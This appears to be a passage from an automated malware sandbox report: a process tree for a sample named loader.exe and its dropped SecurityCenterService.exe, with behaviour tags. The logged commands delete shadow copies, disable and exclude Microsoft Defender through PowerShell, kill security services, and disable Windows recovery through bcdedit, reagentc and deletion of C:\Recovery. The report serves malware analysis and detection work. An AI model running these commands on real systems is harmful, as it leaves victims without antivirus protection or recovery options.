  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --metrics-shmem-handle=4016,i,12764743285899365544,17246114650550851693,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=7356 /prefetch:1
  2⤵
  PID:5000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --metrics-shmem-handle=6452,i,6435565202104910711,9180389688551218440,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6996 /prefetch:1
  2⤵
  PID:1932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=7332,i,5446114765188624457,11534985955307185080,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6920 /prefetch:14
  2⤵
  - NTFS ADS
  PID:4836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=7500,i,9024733579680362588,17083063835390743058,262144 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6800 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1816
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6900,i,12863538817586782026,6578121911966318029,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6920 /prefetch:14
  2⤵
  - NTFS ADS
  PID:1416
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=5608,i,11113190857800789376,11308411294719145039,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=7332 /prefetch:14
  2⤵
  PID:944

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1188

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3184

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap22919:90:7zEvent2788
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4428

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4532
- - C:\Users\Admin\Downloads\PSTools\pssuspend.exe
    "C:\Users\Admin\Downloads\PSTools\pssuspend.exe" loader.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1544
- - C:\Users\Admin\Downloads\PSTools\pssuspend.exe
    "C:\Users\Admin\Downloads\PSTools\pssuspend.exe" WindowsDiagnosticService.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3212
- - C:\Users\Admin\Downloads\PSTools\pssuspend.exe
    "C:\Users\Admin\Downloads\PSTools\pssuspend.exe" WindowsDiagnosticService.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5228
- - C:\Users\Admin\Downloads\PSTools\pssuspend.exe
    "C:\Users\Admin\Downloads\PSTools\pssuspend.exe" loader.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5404
- - C:\Users\Admin\Downloads\PSTools\pssuspend.exe
    "C:\Users\Admin\Downloads\PSTools\pssuspend.exe" WindowsDiagnosticService.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell
  2⤵
  PID:1644
- - C:\Users\Admin\Downloads\PSTools\pssuspend.exe
    "C:\Users\Admin\Downloads\PSTools\pssuspend.exe" WindowsDiagnosticService.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5952
- - C:\Users\Admin\Downloads\PSTools\pssuspend.exe
    "C:\Users\Admin\Downloads\PSTools\pssuspend.exe" loader.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5960
- - C:\Users\Admin\Downloads\PSTools\pssuspend.exe
    "C:\Users\Admin\Downloads\PSTools\pssuspend.exe" loader.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5712

C:\Users\Admin\Downloads\loader.exe
"C:\Users\Admin\Downloads\loader.exe"
1⤵
- Modifies Windows Defender notification settings
- Modifies security service
- UAC bypass
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Checks whether UAC is enabled
- Modifies Security services
- Suspicious behavior: EnumeratesProcesses
- System policy modification
PID:3328
- C:\Windows\System32\Wbem\wmic.exe
  wmic shadowcopy delete
  2⤵
  PID:952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Users\Admin\Downloads\loader.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionExtension '.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Suspicious behavior: EnumeratesProcesses
  PID:5916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Suspicious behavior: EnumeratesProcesses
  PID:5196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  PID:4744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -PUAProtection Disabled"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables automatic submission of suspicious files to Microsoft by Windows Defender
  PID:5252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -MAPSReporting 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5840
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM MsMpEng.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3252
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM MsMpEng.exe
    3⤵
    - Kills process with taskkill
    PID:5664

C:\ProgramData\Microsoft\Windows\SecurityCenterService.exe
C:\ProgramData\Microsoft\Windows\SecurityCenterService.exe
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender notification settings
- Modifies security service
- UAC bypass
- Blocks application from running via registry modification
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Modifies Security services
- Suspicious behavior: EnumeratesProcesses
- System policy modification
PID:5592
- C:\Windows\System32\Wbem\wmic.exe
  wmic shadowcopy delete
  2⤵
  PID:6048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:6128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'C:\ProgramData\Microsoft\Windows\SecurityCenterService.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionExtension '.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  PID:6040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  PID:1380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -PUAProtection Disabled"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables automatic submission of suspicious files to Microsoft by Windows Defender
  PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -MAPSReporting 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5520
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /F /IM MsMpEng.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5288
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM MsMpEng.exe
    3⤵
    - Kills process with taskkill
    PID:3672
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /F /IM SecurityHealthService.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5684
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:5872
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /F /IM NisSrv.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5724
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5376
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM NisSrv.exe
    3⤵
    - Kills process with taskkill
    PID:5880
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /F /IM SgrmBroker.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5468
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SgrmBroker.exe
    3⤵
    - Kills process with taskkill
    PID:4284
- C:\Windows\system32\cmd.exe
  cmd.exe /c net stop WinDefend /y 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3912
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4744
- - C:\Windows\system32\net.exe
    net stop WinDefend /y
    3⤵
    PID:5856
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend /y
      4⤵
      PID:5868
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinDefend start= disabled 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5108
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5840
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:5644
- C:\Windows\system32\cmd.exe
  cmd.exe /c reagentc /disable 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5648
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:5148
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5956
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5444
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /deletevalue {current} recoverysequence 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6100
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5400
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} recoverysequence
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6124
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedbootoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1976
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} optionsedit No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3520
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6128
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1768
- C:\Windows\system32\cmd.exe
  cmd.exe /c chkntfs /x C: 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:6084
- - C:\Windows\system32\chkntfs.exe
    chkntfs /x C:
    3⤵
    - Uses Session Manager for persistence
    PID:1728
- C:\Windows\system32\cmd.exe
  cmd.exe /c takeown /f C:\Recovery /r /d y 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5932
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Recovery /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5940
- C:\Windows\system32\cmd.exe
  cmd.exe /c icacls C:\Recovery /grant %username%:F /t 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1936
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5984
- - C:\Windows\system32\icacls.exe
    icacls C:\Recovery /grant Admin:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5752
- C:\Windows\system32\cmd.exe
  cmd.exe /c rd /s /q C:\Recovery 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5316
- C:\Windows\system32\cmd.exe
  cmd.exe /c rd /s /q C:\Windows\System32\Recovery 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1620

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39eb855 /state1:0x41c64e6d
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3004

C:\ProgramData\Microsoft\Windows\SecurityCenterService.exe
C:\ProgramData\Microsoft\Windows\SecurityCenterService.exe "C:\Users\Admin\Downloads\snapshot_2026-05-27_12-11\release\x64\x64dbg.exe"
1⤵
- Modifies Windows Defender notification settings
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:6120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:6128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3200
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:4348
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5772
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5868
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5364
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4848
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:4964
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5412
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5800
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:220
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:4404
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3092
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:3020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4056
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:4876
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1164
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:6108
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3780
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5956
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:6136
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6108
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:6088
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:6028
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5384
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5128
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4964
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2624
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5812
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1828
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:2780
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1708
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:1476
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1044
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:3248
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1884
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:3704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4852
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:3540
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5680
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:1144
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1676
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:2024
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5704
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5568
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5580
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5184
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:6000
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5936
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5988
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4020
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5348
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5940
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:5340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5752
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:4008
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2132
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:952
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2396
- - C:\Windows\system32\schtasks.exe
    schtasks /query /tn "Microsoft\Windows\Application Experience\SystemGuardUAC"
    3⤵
    PID:2336

C:\Windows\regedit.exe
"C:\Windows\regedit.exe"
1⤵
- Event Triggered Execution: Image File Execution Options Injection
- Indicator Removal: Clear Persistence
- Event Triggered Execution: Netsh Helper DLL
- Runs regedit.exe
